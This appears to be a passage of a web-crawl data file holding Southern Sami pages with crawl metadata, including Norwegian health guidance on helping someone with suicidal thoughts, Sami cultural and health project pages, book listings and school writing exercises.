dorjeme «Spørre om selvmord\/ Aemieluesemen bïjre gihtjedh».\nFilme daajroem vadta guktie maahtah aemieluesemeåssjaldahkh vueptiestidh, aemieluesemen bïjre gihtjedh jïh almetjem viehkiehtidh viehkieabparaatine gaskesadtedh.\nMaam darjoeh jis naakenh soptsestieh dej leah aemieluesemeåssjaldahkh?\nVaeltieh aemieluesemeåssjaldahkh itjmieslaakan\nJis naakenh dutnjien soptsestieh dej leah aemieluesemeåssjaldahkh, edtjh dam itjmieslaakan vaeltedh. Vihkielommes maam maahtah darjodh lea stïeresne årrodh, goltelidh, hoksem vuesiehtidh jïh viehkiehtidh reaktoe viehkiem gaavnedh.\nGoltelh jïh årroeh ræhpas\nGoltelidh lea ellen vihkielommes maam maahtah darjodh. Gosse naakenh duestieh dam dutnjien soptsestidh, dellie dïhte vuesehte dah datnem leajhtadieh, jalhts maahta sååjrehke årrodh dam govledh. Baajh almetjem sov åssjaldahkh datnine juekedh bielelen dam fer jïjnjem tjöödtjestidh.\nÅrroeh stïeresne jïh vedtieh dåarjoem\nDïhte guhte daah åssjaldahkh datnine juaka, lea joekoen geerve tsiehkesne. Aemieluesemeåssjaldahkh utnedh daamtaj aktegs domtoe, jïh maahta dååjresem vedtedh ij håhkoe gååvnesh. Dan åvteste vihkele datne ih dööpmh, men vissjelesvoetem, hoksem jïh dåarjoem vuesehth.\nVuesehth datne guarkoeh\nJiehtieh datne guarkoeh tsiehkie mesnie almetje lea, lea geerve jïh sååjrehke, men aemielueseme ij leah reaktoe vuekie.\nOhtsh viehkiem\nVedtieh skraejriem profesjonelle viehkiem ohtsedh, jïh viehkehth dagkeres viehkiem skååffedh.\nDah mah leah aehpesne eah daamtaj vissjh viehkiem ohtsedh, jallh eah daejrieh giejnie edtjieh soptsestidh. Faalehth dåeriedidh voestes tæjmose, jallh raeresth naan jeatjebh maehtieh dåeriedidh. Pryövh goerkesem åadtjodh man hïehkede tsiehkie lea. Gaskesadth dåakterevaeptiem jallh staeriesdåakterem juktie raerieh jïh bïhkedimmiem åadtjodh jis leah jueriedisnie.\nAktem viehkiehtidh mij aemieluesemeåssjaldahkh åtna jallh psykiske vaejvieh åtna, maahta krïevije årrodh. Dan åvteste vihkele datne jïjtjemdh gorredh, jïh viehkien bïjre gihtjh lïhke fuelhkeste jïh healsoedïenesjistie.\nGïem edtjh gaskesadtedh juktie viehkiem åadtjodh?\nRingkh 113 gosse naaken lea hïehkede vaahresne aemieluesedh\nJis vaahra almetje sæjhta jïjtjemse irhkedh jallh aemieluesedh, edtjh 113 ringkedh.\nNeavroeetaate sæjhta viehkiehtidh dagkeres tsiehkesne, jïh dah maehtieh aaj viehkiehtidh vielie goerehtidh man itjmies tsiehkie lea.\nJis naaken leah hïehkede vaahresne aemieluesedh byörh 113 gaskesadtedh jalhts dïhte gïen bïjre lea, ij dam sïjhth. Tjïelkesth datne ih sïjhth dïhte edtja jaemedh, jïh aellieh dam laehpieh åvtelen viehkiehtæjjah neavroe-etaateste leah båateme.\nHïehkede, men ij tsiehkieh mah jieledem håvhtadieh\nGaskesadth staeriesdåakterem\nGellien aejkien byörh staeriesdåakterem voestegh gaskesadtedh. Staeriesdåaktere maahta raerieh jïh bïevnesh vedtedh ovmessie viehkiefaalenassi jïh båehtjierdimmien bïjre tjïeltesne, jïh maehtieh aaj psykologese jallh sjïerehealsoedïenesjasse vuesiehtidh gosse lea daerpies.\nRingkh lïhkes dåakterevaaptan 116 117\nGosse dåeriesmoere ij jieledem håvhtedh, men ij akt maehtieh vuertedh goske maahta staeriesdåakterem gaskesadtedh gaahpoehtïjjen, ringkh lïhkes dåakterevaaptan tellefovnesne 116 117. Dåakterevaeptie lea ræhpas abpe dygnem.\nDåakterevaeptie aaj bijjieguvviem åtna jeatjah sjyöhtehke viehkiedïenesji bijjeli tjïeltesne mah maehtieh datnem viehkiehtidh.\nViehkiefaalenasse tjïeltesne\nJienebh tjïelten healsoedïenesjh maehtieh raerieh jïh bïhkedimmiem vedtedh jis tjoeperdh mejtie naaken datne damth, åssjaldahkh åtna aemieluesedh. Maahtah gaskesadtedh\n- skuvlehealsoedïenesjem jïh noeri healsoestasjovnem\n- psykiske healsoe- jïh geeruvevoetedïenesjem tjïeltesne, aaj psykologe\n- varke psykiske healsoeviehkiem\n- hïejmedïenesjh \/hoksedïenesjh\n- psykososijaale aehpiedåehkiem\nDatne gaskesadtemebïevnesh dïenesjidie gaavnh dov tjïelten nedtesæjrojne.\nJeatjah leajhtadimmiealmetjh\nJeatjabidie maahta aelhkebe domtedh voestes sïllem vaeltedh viehkien vööste viehkine hearrine, imamine jallh jeatjah almetjinie soptsestidh mejtie leajhtede.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.helsenorge.no\/sma\/psykisk-helse\/selvmordstanker-og-selvmord\/er-du-bekymret-for-noen\/","date":"2024-03-01T18:22:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475422.71\/warc\/CC-MAIN-20240301161412-20240301191412-00222.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":964,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen bïjre\n\"Saemien vaajmoegïele gaajhkesi åssjaldahkine njaelmesne jïh gïetesne\"\nSaemien lohkemejarnge lea nasjonaale vierhtiejarnge mij evtemes barka lohkehtimmiesysteemide bueriedidh, maanagïerteste jollebe ööpehtæmman. Saemien lohkemejarnge vijrieslaakan barkeminie juktie njaalmeldh jïh tjaaleldh saemien skreejredh årroji luvnie.\nGoh åejviesuerkieh mijjieh lohkeme jïh tjaelemelohkehtimmine jïh njaalmeldh gïeleevtiedimmine barkebe. Daate faarhmeste nænnoestidh jïh skreejredh njaalmeldh saemien gïelem nuhtjedh lohkehtimmiesysteemesne, daajroe jienebegïelevoeten jïh gïelejealajimmien bïjre, jïh daajroem saarnodh lohkemen jïh tjaelemen bïjre. Mijjieh aaj dotkeme jïh evtiedimmiebarkojne gïehtelibie ektiedamme daejtie faagesuerkide.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/mijjen-bijre\/mandaate","date":"2024-02-28T05:33:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00498.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":75,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.253,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ekstremismie\nEkstremisme latijnen baakoste extremus båata, maam maahta jarkoestidh \"dïhte olkemes\" jallh \"dïhte vïerremes\". Maahta dan åvtese ekstremismem guarkedh goh vuestiebielie destie mij gaskoeh. Dellie goerkese ekstremismeste relatijve sjædta: dïhte ekstreme lea dïhte mij iktesth guhkede gaskeste. Daamtaj ekstremisme vielie vihties åtnasåvva. Dellie sïejhme göökte damtsvæhtah ekstremismese ektiedidh: dellie ajve jïjtse mïelh åtna goh luhpie, jïh åtnoem vædtsoehvoeteste dåarjohte edtja politihkeles dåarjoem åadtjodh (vædtsoes ekstremisme).","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/ekstremismie","date":"2024-02-27T00:14:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00269.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":65,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien healsoedåehkie lea ektiedahkoeprosjekte gaskem Rørosen tjïelte, St, Olavs hospital jïh Åarjelsaemien healsoeviermie. Mijjieh akte faagi dåaresth dåehkie healsoebarkijigujmie mej maahtoe saemien gïelen, kultuvren jïh healsoen bïjre.\nHealsoedåehkie barkijh åtna Rørosen tjïeltesne, SANKS:sne jïh St. Olavs hospitalesne jïh dåehkesne dovne dåaktere, skïemtjesåjhterh, psykiatrijen skïemtjesåjhterh, jurjiehtæjja, jieledeaavoetjåadtjoehtæjja , healsoefaagebarkije. Edtjebe dovne klinihkeles dïenesjh sjugniedidh, viehkine årrodh bïevnesh beagkoehtidh tjïeltide jïh healsoegïehtelimmide, jïh gaskesem tseegkedh tjïeltigujmie jïh sïjtigujmie. Mijjen aaj akte laavenjostoe åarjelsaemien hearrine Åarjelsaemien Åålmegisnie.\nProsjekten visjovne lea saemien årrojh edtjieh faalenassem utnedh hijven healsoeviehkien jïh seammavyörtegs healsoedïenesji bïjre, juktie naemhtie saemien seabradahken båetijem aejkiem hoksedh. Healsoeviehkie edtja jïjtse gïelesne vadtasovvedh jïh saemien kultuvren mietie, mïsse saemien skïemtjijh dovne reaktam utnieh jïh daarpesjieh. Daate edtja saemien seabradahkese psykiske jïh fysiske tryjjem vedtedh, jïh nænnoes saemien seabradahkem hijven healsojne hoksedh.\nHealsoedåehkie aaj maahtoelutnjeminie jïh bïevnesebeagkoehtimmine jeatjah tjïeltide jïh healsoegïehtelimmide saemien skïemtjijigujmie barka.\nProsjekte saemien healsoedåehkie vaasa skïereden 2022 raajan.\nLohkh vielie saemien healsoedåehkien bïjre\nLohkh saemien healsoedåehkien prosjektebuerkiestimmiem (PDF)","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/roros.kommune.no\/helse-og-omsorg\/saemien-healsoedaehkie\/","date":"2024-04-14T07:35:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816875.61\/warc\/CC-MAIN-20240414064633-20240414094633-00014.warc.gz","language":"sma","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999958276748657}","num_words":155,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Murud, Marit Eira Bertije ČálliidLágádus Vaadtasovvemejaepie 2012 Faage Beapmoe jïh healsoe Eatnemefaage Båatsoe jïh design Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 9788282630474 Formaate Sïejhme gærja Reakta-aajhtere ČálliidLágádus Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 151 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Byjrese Eatnemefaage","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/node\/11161?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-04-17T22:36:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817181.55\/warc\/CC-MAIN-20240417204934-20240417234934-00762.warc.gz","language":"sma","language_score":0.9984369278,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9984369277954102}","num_words":47,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage-jïh dïenesjefaalenasse\nUtniji mïelh govledh jïh latjkoeh laavenjostoen bïjre\nUtniji mïelh govledh\nStatpedese akte strategeles vuekie utniji mïelh govledh ihke etaate edtja sijjen ulmieh jaksedh. Statpeden utnijh leah maanah, noerh jïh geerve almetjh sjïere lïerehtimmiedaerpiesvoetigujmie. Eejhtegh jïh doh mah leah eejhtegi åvteste båetieh dïejvesen nualan utnijh.\nUtniji mïelh govlh jïh laavenjostoe utniji ïedtjesiebriejgujmie leah vihkeles daennie barkosne juktie Statpeden dïenesjh evtiedidh. Statpeden leah åårganh juktie utniji mïelh govledh dovne nasjovnaale jïh regijovnaale daltesisnie.\nLaavenjostoe jïh latjkoeh\nEvtiedimmie Statpeden dïenesjijstie betnesne åtna aktem lïhke laavenjostoem tjïeltigujmie jïh fylhkentjïeltigujmie. Statped mierielatjkoeh daejgujmie dorje juktie aktem tjïelke laavenjasse- jïh dïedtejoekedimmiem gorredidh.\nGosse Statped edtja aktem dïenesjem vedtedh, akte laavenjostoelatjkoe dorjesåvva Statpeden jïh tjïelten jallh fylhkentjïelten gaskem. Laavenjostoelatjkoeh edtjieh sisvegem jïh tïjjemieriem dïenesjasse tjïelkestidh. Muvhti faagesuerkiej sisnjeli Statped dïenesjh vadta sjïerehealsoedïenesjinie ektine jïh NAV Viehkiedïrregh jïh sjïehteladteme. Daate lea vïedteldihkie jïjtse latjkojne.\nStatped barkeminie juktie evtiedidh, bievnedh jïh orre daajroem dan sjïerepedagogeles faagesuerkien bïjre gaavnoes jïh åehpies darjodh lïerehtimmiesuerkesne. Statped universiteete- jïh jïlleskuvlesuerkine laavenjostoe. Daate lea formaliseradamme jïjtse latjkojne. Statped orre daajroem jïh orre praksisem evtede gosse meatan dotkeme- jïh evtiedimmiebarkosne.\nSide 6 av 7","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/faage-jih-dienesjefaalenasse\/utniji-mielh-govledh-jih-latjkoeh-laavenjostoen-bijre\/","date":"2024-04-13T22:23:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816853.44\/warc\/CC-MAIN-20240413211215-20240414001215-00147.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":179,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duorga (Snubba) kultuvrebaalka Evenášši\/Evenesen tjïeltesne Nordlaantesne dovne tsïeglesjimmiem eatnamisnie jïh digitaale soptsestimmiem åtna. Daesnie maahtah ovmessie teemaj bïjre lohkedh.\nBåatsoesaemieh Duorgasne årroejin 1700-låhkoen jïh doekoe. Dah arrah-almetjinie sjïdtin jïh jieliemassem bovtseste, jåartaburreste jïh göölemistie åadtjoejin. Duorgasne båeries gåetiesijjieh mah leah gïejh dejstie markasaemien årroejijstie. Kultuvrebaalka soptseste årromen bïjre, læstadijanen ööhpehtæjjaj bïjre jïh jealadehtemen bïjre. Maahtah smaave filmebïetskh vuejnedh, gaskem jeatjah saajvenïejten bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/kultuvrebaalkah\/duorga-kultuvrebaalka\/","date":"2024-04-19T09:56:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817382.50\/warc\/CC-MAIN-20240419074959-20240419104959-00748.warc.gz","language":"sma","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999993085861206}","num_words":62,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n1964\nDaltese\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n255\nSveerjen-noerhtesaemien baakoegærja Sveerjen sijjienommijste.\nDaan baakoegærjan nommh jïh -tjïelkestimmieh baakojde mejtie saemien sijjienommijste gaavnebe Sveerjen raedtesne. Seammamasth sijjienommh jeatjah lehkine aaj gååvnesieh, jïh dannasinie gærja badth joekoen Soemen jïh Nöörjen raadtan aaj. Daejstie sijjienommijste maehtebe vielie lööneme- jïh smaarehbaakoej bïjre lïeredh jïh numhtegh guarkedh maam dle dïhte akte mubpie sijjienomme daejrehte. Gærja sveerjendaaroen jïh noerhtesaemien tjaaleldh dan Grundströmen tjaelemevuekien mietie.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_ordbok-till-sveriges-lapska-ortnamn","date":"2024-04-16T10:37:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817081.52\/warc\/CC-MAIN-20240416093441-20240416123441-00282.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":74,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nIh daarpesjh såjhtoen jïh såjhtoehïejmen åvteste maeksedh. Mohte maahtah tjoeredh beapmoej jïh årromij åvteste maeksedh såjhtoehïejmesne jallh fuelhkiehïejmesne. Dïhte maaksa seamma jeenje biejjegen goh jis skiemtjegåetesne sujhtedh. Datne maahtah dååpmestovlese laejhtedh jis dåarjoem ohtsedih jïh idtji dam åadtjoeh. Sosiaaletjeanadimmie muvhten aejkien yöjtedeåtnoejh tjibredassijgujmie gïetede. Dejtie almetjidie gieh eah jijtje viehkiem sïjhth mohte gieh maehtieh yöjtedeåtnoste skiemtjejieh jallh jaemieh. Sosiaaletjeanadimmie tjuara voestes tjibredassijsåjhtoem lïenereaktese ohtsede.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/umea.se\/umeakommun\/funktionsmappar\/sprak\/andrasprakotherlanguages\/samegielat\/sosiaalenhoksehtimmieh\/yojtedeatnoe.4.2aeb902411d30c9e460800061528.html","date":"2013-06-19T13:41:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708789647\/warc\/CC-MAIN-20130516125309-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":66,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåessie gijre doekoe, edtjieh saemien fuelhkieh Hummlevaeresne gaaavnesjidh, tjoejkedh jih gierestalledh.\nGadtsegarhk lea maanatjåanghkoeh, gusnie maanah,eejhtegh jih båarasåbpoe bolve akten aejkien askesne, Røørosen dajvesne gaavnesjiieh.\nSaemien byjresem nænnoestidh\nDah tjåanghkoeh, edtjie daam saemien byjresem nænnoestidh guktie dah saemien maanah åadtjoeh gaavnedidh jih sinsitnene åahpenidh. Dah tjåanghkoeh vihkeles orreme daan Røros saemien siebriedahkese. Aino Danielsen geerjene jijnjesh sijhtieh båetedh.\n– Alkoevistie ibie man jeenjesh, daelie jijnjh maanah sjidteminie jih jienebh sïjhtieh tjåanghkojde båetedh. Danielsene jeahta.\nGïelesijjie\nEejhtegh jih muvhth aejkien aahka gon aajja meatan, sinsitniem ïedtjeldehtieh saemiestidh. Daan gïjren edtjieh dah saemien fuelhkieh akten biejjien ektesne Hummelvaeresne gierestalledh. Aino Danielsen tuhtjie dah tjåanghkoe biejjieh tråjjes.\n– Dæjman mijjieh kaanovem sovkimh aktene johkesne jih dihte joekoen luste lij, dellie gøøkte, gøøkte luhkie vijhte almetjh meatan jih daelie luste vuejnedh man gellieh daan aejkien sijhtieh gïerestalledh, Danielsene jeahta.\nHijven daelhkie\nDanielsene bievnede, mijjieh maeksebe maanaj heis-kåarhtide jih jis gie daarpesje, treavkah, gaamegh jih klaahkah løønedh, Danielse bievnede.\n– Voerhtjen mubpie biejjien edtjebe Rørosen skianleggesne, Hummlevaeresne, Osesne, gaavnesjidh. Håhkesjem jijnjesh båetieh jih sijhtieh ektesne lustestalledh, Danielsene jeahta.\nMejtie lopme aajmene voerhtjen asken?\n–Nov sån dam vïenhtem! Jis bievleme, tjoerebe maam jeatja hahtadidh, Danielsene mojjehte.","id":"","dump":"CC-MAIN-2016-50","url":"https:\/\/www.nrk.no\/sapmi\/saemien-byjresem-naennoestidh-1.12798945","date":"2016-12-11T11:53:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698544678.42\/warc\/CC-MAIN-20161202170904-00405-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":0.9999760389,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999760389328003}","num_words":187,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bovtsh ïentjine!\nBovtsh ïentjine!\nMijjieh båantah vïssjehtovveme bovtsijste. Mahte fïerhten biejjien bovtsh ïentjide båetieh, kruehkieh jïh gåatoeh. Ij amma lijsh saemide ringkedh hojjedh, eah gujht læjhkan dallah båetieh. Mahte nubpien biejjien, jïh dellie barre goh måsnoeh mijjese, barre goh mijjen skålta bovtsh ïentjine. Tsælloeminie aaj, jiehtieh ij gujht bovtsh naan skåårhpesjimmiem ïentjide darjoeh gosse daelvie.\nManne gujht buerebe daajram bovtsh gujht tjarke skåårhpesje gosse gellie tjuetieh ïentjide dievhtieh. Die gujht vaenebe kraesijste geasan sjidtieh. Saemieh tjuerieh aelkedh buerebe ryöjnesjidh. Mov lea paehpere mesnie tjåådtje daate jåarta lea mov. Jis mov kluhterh kraannaj ïentjide båetieh, dellie tjoerem dallegh debpede narhkelidh. Jis im, dellie byötesovvem, jïh mahte aaj roestegåatam. Mannasinie baajedh saemiej bovtsh maaksohth mov kraesijste gåatodh?\nJis eah saemieh dan bïjre eavedh, tjoerebe mijjieh båantah darjodh goh dejpeli: bovtside skåahtestalledh, jïh saemide vuemijste vaeride aeskiehtidh gusnie govlesuvvieh. Jis lidie gïemhpe, mejtie maehtede debpene luhpiem årrodh.\nBåanta1\n1. laavenjasse\nLohkh lohkije-tjaalegem jïh vaestedh gyhtjelasside.\n- Man bïjre daate lohkije-tjaalege?\n- Maam båanta aamhtesen bïjre meala?\n- Bijjie-baakoe hijven? Nåake? Buerkesth!\n- Gïese tjaala?\n- Datne vïenhth ulmie-dåehkie gïelehtåvva? Man åvteste? Man åvteste ij?\n2. laavenjasse\nVaestedh lohkije-lahtesem maam \"Båanta\" tjaaleme.\nVeeljh aktem daejstie råållijste:\n- båanta\n- pensjoniste mij 70 jaepien båeries\n- bovtseburrie\n- saemien lohkehtæjja\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/175057?fag=126960","date":"2017-03-25T07:58:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00164-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9998427629,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998427629470825}","num_words":260,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte hijven maadth-bïhkedasse\nTjaalegen nomme\nLohkije-tjaalegisnie tjaalegen nomme vihkeles. Tjaelieh tjaalegen nommem naemhtie guktie lohkije guarka man bïjre tjaalege. Mujhtieh aaj tjaalegen nomme edtja lohkijasse lastoem vedtedh vielie lohkedh. Darjoeh dan åvteste aktem hijven bijjie-baakoem mij vuesehte maam datne mïelh.\nAalkoe\nAalkosne aamhtesem åehpiedahtah. Maahtah aaj dov veanhtoem mubpesth tjaeledh jis sïjhth, men maaje ånnetji jeatjah baakoejgujmie goh tjaalegen nommesne. Dastegh aktem tjaalegem vaestedh aktede jeatjah almetjistie, tjoerh dam lohkijasse saarnodh dallatjinie, v.g.: \"Manne raaktan måarahtovvim gosse Piere Dearkan tjaalegem lohkim \"Learohkh fer aeblehts!\" plaeresne Snåsningen jååktan….\" Datne åenehkslaakan tjaalah man bïjre Dearkan tjaalege lij, jïh mænngan dov mïelem tjaalah.\nÅejvie-boelhke\nÅejvie-boelhkesne datne dejtie golme argumeentide åehpiedahtah mah dov mïelen mietie leah vihkielommes. Tjïelkesth dov argumeenth sjyöhtehke rïektesigujmie, vuesiehtimmiejgujmie jïh dååjrehtimmiejgujmie. Rïektese dov ussjedammesvoetem lissehte, vuesiehtimmieh jïh dååjrehtimmieh domtesh jïh eadtjohkevoetem gåaskoeh! Uvtemes edtjh ajve dov argumentasjovnen bïjre tjaeledh, jïh edtjh ajve vuestie-argumeenti bïjre tjaeledh jis eevre daerpies.\nGalhkuve\nGalhkuvisnie edtjh iktedidh jïh konkluderadidh. Tjaelieh maaje dov veanhtoem mubpesth akten minngemes aejkien. Hijven aktine appelline galhkedh (haestieminie) lohkijasse. Minngemosth dov nommem tjaalah.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/173189?fag=126960","date":"2017-03-30T04:50:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00574-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":172,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Allegorije\nTjaalege mij maam akt jeatjebem vuesehte\nAllegorije lea soptsestimmieh, tjaalegh jallh guvvieh. Ibie edtjh dejtie toelhkestidh öövre guktie leah, men symboli mietie. Maehtebe jiehtedh allegorije lea symbole. Mijjieh maehtebe allegorijem gaavnedh romaanine jallh draamine.\nFabele\nJuvre-fabelh maehtieh allegorije-tjaaleginie årrodh. Tjaalegisnie \"Bïerne\" (gærjesne: Lohkede saemien) dellie mijjieh Lutniestæjjan bïjre lohkebe guhte eatnamisnie fealedeminie. Lutniestæjja edtja johken rastah jïh viehkiem daarpesje. Bïerne Lutniestæjjam viehkehte jïh dam johkem rastah saehtele. Dellie bïerne almetji jïjtsevoeth vuesehte. Men dah jeatjah juvrh jïh almetjh mah idtjin sïjhth Lutniestæjjam viehkiehtidh nåakebe jïjtsevoeth vuesiehtieh.\nViertiedasse\nViertiedasse lea seamma goh parabele. Viertiedasse lea åenehks tjaalege, mij jortigi-soptsesvuekien mietie tjaaleme. Viertiedasse lea biejjieladtje heannadimmiej bïjre. Heannadimmie lea goh guvvie gusnie mij akt jeatjebe vöörhkesovveme. Lohkije tjuara jïjtje pryövedh guarkedh man bïjre tjaalege lea.\njïjtsevoeth\negenskaper\nviertiedasse\nlignelse\nalmetji jïjtsevoeth\nmenneskelige egenskaper","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/157276?fag=126960","date":"2017-04-27T09:22:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122041.70\/warc\/CC-MAIN-20170423031202-00279-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999462366,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999462366104126}","num_words":132,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Digkiedimmie-lahtese\nVuesiehtimmie\nDaan biejjien jïjnjh noerh skuvlen baalte berkieh, vuesiehtimmien gaavhtan skuvle-tïjjen mænngan, hïeljine jallh giesegi. Dah gaajhke såarhts barkoeh darjoeh - maanah suvhtieh, barkeminie bensijne-stasjovnine, beapmoe- 